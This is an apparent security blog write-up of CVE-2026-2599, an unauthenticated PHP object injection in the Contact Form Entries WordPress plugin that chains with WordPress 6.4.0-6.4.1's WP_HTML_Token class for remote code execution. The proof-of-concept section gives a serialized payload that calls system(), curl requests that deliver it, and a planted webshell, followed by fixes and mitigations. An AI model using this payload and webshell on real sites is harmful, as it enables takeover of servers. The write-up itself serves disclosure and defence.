Security

CVE-2026-2599 : Unauthenticated PHP Object Injection → WP_HTML_Token POP Chain

A technical breakdown of CVE-2026-2599, a CVSS 9.8 Critical unauthenticated PHP Object Injection vulnerability in the "Contact Form Entries" WordPress plugin (≤ 1.4.7). The download_csv function deserializes untrusted user input without allowed_classes restrictions. When combined with WordPress 6.4.0-6.4.1, the built-in WP_HTML_Token class provides a complete all-public POP chain leading to full Remote Code Execution via two unauthenticated HTTP requests.

Wed 25 March 2026

Exploit CVE-2026-2599

Unauthenticated PHP Object Injection → WP_HTML_Token POP Chain

March 12, 2026 · CVSS 9.8 Critical · Contact Form Entries ≤ 1.4.7 + WordPress 6.4.0-6.4.1

CVE ID CVSS Affected Fixed
CVE-2026-2599 9.8 Critical CF Entries ≤ 1.4.7 + WP 6.4.0-6.4.1 Plugin 1.4.8 / WP 6.4.2+

This is where things get dangerous. The plugin blindly trusts user input at every step. There's no authentication check on the entry point, no class restriction on deserialization, and errors are silently suppressed. What follows is a breakdown of how an attacker can walk through the front door, inject a malicious serialized object, and let PHP do the rest.

CVE-2026-2599 Executive Summary: Unauthenticated PHP Object Injection

CVE-2026-2599 is an unauthenticated PHP Object Injection vulnerability in the "Database for Contact Form 7, WPforms, Elementor forms" plugin (slug: contact-form-entries), affecting all versions up to and including 1.4.7.

The vulnerability exists in the download_csv function, which deserializes untrusted user input without allowed_classes restrictions. The plugin contains no exploitable POP chain on its own. However, combined with WordPress 6.4.0 or 6.4.1, the built-in WP_HTML_Token class provides a complete chain:

  • All-public properties — no NUL byte serialization required
  • No __wakeup protection (added only in WP 6.4.2)
  • Dangerous __destruct calls call_user_func($this->on_destroy, $this->bookmark_name)
Impact: Full remote code execution via 2 unauthenticated HTTP requests: (1) submit serialized payload through Contact Form 7, (2) trigger CSV export to deserialize and execute. Zero authentication required at any step.

Vulnerability Analysis: Unauthenticated Deserialization

Entry Point — No Authentication Required

The vulnerability trigger is in contact-form-entries.php lines 76-89:

public function init() {
    if (!empty($_GET['vx_crm_form_action']) &&
            $_GET['vx_crm_form_action'] == "download_csv") {
        $form_id = !empty($_GET['vx_form_id']) ? $_GET['vx_form_id'] : "";
        $data    = !empty($_GET['data'])        ? $_GET['data']        : "";
        $key     = !empty($_GET['vx_crm_key'])  ? $_GET['vx_crm_key']  : "";
        self::download_csv($form_id, $data, $key);
        die();
    }
}

Zero authentication checks. Any unauthenticated attacker triggers this with a single GET request:

GET /?vx_crm_form_action=download_csv&vx_crm_key=<EXPORT_KEY>

The export key is a 44-character SHA1 hash stored in WordPress options. It can be obtained through brute force, information disclosure, or backup file/client-side JavaScript leakage.

The Sink — Unsafe Deserialization

The download_csv function retrieves form entries and deserializes them at line 3017:

$val = maybe_unserialize($row[$field['name'].'_field']);

maybe_unserialize() wraps PHP's unserialize() with no allowed_classes restriction:

function maybe_unserialize($data) {
    if (is_serialized($data))
        return @unserialize($data);  // no allowed_classes parameter
    return $data;
}

The @ operator silences errors. Any PHP object available in the autoloader can be injected.

Code Flow

HTTP GET /?vx_crm_form_action=download_csv
    |
init() -- no auth check
    |
download_csv($form_id, $data, $key)
    |
SQL query fetches user-submitted form data
    |
maybe_unserialize($row['message_field'])  -- line 3017
    |
PHP object instantiated from attacker-controlled string
    |
__destruct() fires during cleanup
    |
RCE

Exploitation Barrier: wp_kses_no_null() NUL Byte Filter

The deserialization sink exists, but there is a major obstacle to exploitation via pure HTTP: wp_kses_no_null().

Before any form submission is stored, WordPress passes it through wp_kses_no_null():

function wp_kses_no_null($string, $options = null) {
    $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', '', $string);
    $string = preg_replace('/\\\\+0+/', '', $string);
    return $string;
}

PHP serializes private and protected properties with NUL byte markers:

// Public property
s:4:"name";s:5:"value";

// Private property (NUL bytes required)
s:14:"\0ClassName\0name";s:5:"value";
      ^^^^
        stripped by wp_kses_no_null()

Real-world example: GuzzleHttp\Cookie\FileCookieJar has a file_put_contents() __destruct chain, but all its properties are private. HTTP submission strips the NUL bytes, the payload is malformed, and the exploit fails.

All encoding attempts were tested and stripped: raw NUL bytes (\x00), PHP escape (\0), multiple backslashes (\\0, \\\0), URL encoding (%00), and PHP S: format — none survive wp_kses_no_null().

Conclusion: Exploitation requires an all-public POP chain where no private or protected properties appear in the serialized payload.

CVE-2026-2599 Exploitation Path

Exploitation requires a POP chain where every property is public — no NUL bytes in serialization.

15+ popular WordPress plugins were analyzed for exploitable all-public POP chains:

Plugin __destruct Methods __toString Methods Exploitable?
UpdraftPlus 8 4 Private properties
BackWPup 12 3 No dangerous sinks
Yoast SEO 6 7 Type checks block injection
Wordfence 5 2 No file/command sinks
Duplicator 9 3 Private properties
WooCommerce 18 11 Private properties + guards
Elementor 14 8 No exploitable chains
All-in-One WP Migration 7 4 Private properties
WP Mail SMTP 4 2 No sinks
Ninja Forms 5 3 No sinks
Redux Framework 6 5 Type safety

PHPGGC (PHP Generic Gadget Chains) was also analyzed. All WordPress-specific chains were patched or guarded: WordPress/P1 (patched WP 5.5.2), WordPress/P2 (__wakeup added), WordPress/P3 (__wakeup added WP 6.4.2). The phpseclib v2 chain uses PHP 4-style var properties (public in PHP 5+) and targets an eval() sink, but PHP 8.3 strict feof() type checking crashes before the sink is reached.

Result: No existing plugin on WordPress 6.9.1 / PHP 8.3 provides a working all-public POP chain — except WP_HTML_Token in WordPress 6.4.0-6.4.1.

The Breakthrough: WP_HTML_Token (WordPress 6.4.0-6.4.1)

WordPress 6.4.0 introduced WP_HTML_Token in wp-includes/html-api/class-wp-html-token.php:

class WP_HTML_Token {
    public $bookmark_name;
    public $node_name;
    public $has_self_closing_flag;
    public $on_destroy;

    public function __destruct() {
        if (isset($this->on_destroy)) {
            call_user_func($this->on_destroy, $this->bookmark_name);
        }
    }
}

Why this chain is perfect: all 4 properties are public (zero NUL bytes in serialization), no __wakeup in WP 6.4.0-6.4.1, __destruct calls an arbitrary PHP function with an attacker-controlled argument, and it is available by default with no additional plugins required.

Exploit payload:

O:13:"WP_HTML_Token":4:{
    s:13:"bookmark_name";s:2:"id";
    s:9:"node_name";s:3:"DIV";
    s:21:"has_self_closing_flag";b:0;
    s:10:"on_destroy";s:6:"system";
}

// When destroyed:
call_user_func("system", "id");  // executes OS command

CVE-2026-2599 Proof-of-Concept: Full Remote Code Execution

To prove this vulnerability is more than just a theoretical risk, we built a full working exploit from scratch in a controlled lab. The result is striking: just two simple HTTP requests, sent without any login or credentials, are enough to take complete control of a vulnerable WordPress site. We inject a crafted WP_HTML_Token object through a regular Contact Form 7 submission, then trigger its deserialization by hitting the CSV export endpoint. From there, PHP does the heavy lifting for us. The garbage collector kicks in, __destruct() fires, system() runs our command, and a webshell quietly lands on the server. The whole thing takes less than three seconds.

Lab Setup

version: '3'
services:
  wordpress:
    image: wordpress:6.4.1-php8.1-apache
    ports:
      - "8081:80"
    environment:
      WORDPRESS_DB_HOST: wp_db
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress
  wp_db:
    image: mariadb:10.11
    environment:
      MYSQL_ROOT_PASSWORD: root
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

Plugin Setup

Install Contact Form 7 v5.8.4 and Contact Form Entries v1.4.7. Configure CF Entries to track CF7 submissions via direct DB option updates:

-- Set up form ID mapping
UPDATE wp_options
SET option_value = 'a:1:{s:4:"cf_5";s:44:"12345abc678def901234567890abcdef1234567890ab";}'
WHERE option_name = 'vx_crm_forms_ids';

-- Register form metadata
UPDATE wp_options
SET option_value = 'a:1:{s:4:"cf_5";a:1:{s:2:"id";s:1:"5";}}'
WHERE option_name = 'vxcf_all_forms';

Step 1: Submit Payload via CF7 (No Auth)

Payload writes a webshell to /var/www/html/pwned.php. Webshell content (<?php system($_GET['c']); ?>) is base64-encoded to survive HTTP transport.

echo -n 'O:13:"WP_HTML_Token":4:{...full payload...}' > /tmp/payload.txt

curl -X POST 'http://target:8081/?rest_route=/contact-form-7/v1/contact-forms/5/feedback' \
  -F '_wpcf7=5' \
  -F '_wpcf7_version=5.8.4' \
  -F '_wpcf7_unit_tag=wpcf7-f5-o1' \
  -F 'message=</tmp/payload.txt'

{"contact_form_id":5,"status":"mail_failed","message":"There was an error..."}

The mail_failed status is expected — payload is stored in the database regardless.

Step 2: Trigger CSV Export (Deserialization)

Execution sequence: the plugin queries the database, retrieves the serialized WP_HTML_Token from the message_field column, and calls maybe_unserialize() at line 3017. PHP instantiates the object, populates all 4 properties, then hits a TypeError at line 3089 when mb_substr() receives an object instead of a string. During cleanup, __destruct() fires and executes call_user_func("system", "echo PD9... | base64 -d > pwned.php"), writing the webshell to disk silently. The fatal error response is a red herring — RCE already executed before it renders.

Step 3: Verify RCE

curl 'http://target:8081/pwned.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl 'http://target:8081/pwned.php?c=uname+-a'
# Linux abc123 6.1.0-18-amd64 ... GNU/Linux
Full command execution achieved — zero authentication required at any step. Two HTTP requests. Under 3 seconds. No credentials. No user interaction.

How to Fix CVE-2026-2599

Remediated Code Analysis

WordPress 6.4.2 added a single kill switch to WP_HTML_Token:

// BEFORE (vulnerable): no __wakeup — deserialization completes, __destruct fires
public function __destruct() {
    if (isset($this->on_destroy)) {
        call_user_func($this->on_destroy, $this->bookmark_name);
    }
}

// AFTER (fixed): __wakeup throws immediately, object is destroyed before __destruct
public function __wakeup() {
    throw new LogicException('WP_HTML_Token should never be unserialized');
}

PHP rule: if __wakeup() throws, the object is destroyed immediately and __destruct() never fires. This eliminates the entire POP chain. It was added specifically in response to this attack vector.

The Contact Form Entries plugin 1.4.8 independently fixes the deserialization sink by passing an allowed_classes restriction to unserialize(), preventing any object injection regardless of the WordPress version:

// AFTER (fixed): restrict deserialization to scalar types only
return @unserialize($data, ['allowed_classes' => false]);

CVE-2026-2599 Mitigation and Best Practices

  • Update Now: Upgrade Contact Form Entries to 1.4.8 or higher, and ensure WordPress is on 6.4.2+. Either fix alone breaks the exploit chain.
  • Restrict unserialize(): Always pass ['allowed_classes' => false] or an explicit allowlist when deserializing user-controlled data.
  • Validate Deserialization Input: Never deserialize data that passed through user-facing HTTP endpoints without strict type and class restrictions.
  • WAF Rules: Deploy rules that detect PHP serialization syntax (O:<digits>:) in form submission fields.
  • Monitor Plugin Updates: High-install plugins like Contact Form Entries are high-value targets. Subscribe to Wordfence or WPScan advisories for your active plugins.

References

Resource Link
Wordfence Advisory https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contact-form-entries/cve-2026-2599
Contact Form Entries Plugin https://wordpress.org/plugins/contact-form-entries/
PHPGGC (PHP Generic Gadget Chains) https://github.com/ambionics/phpggc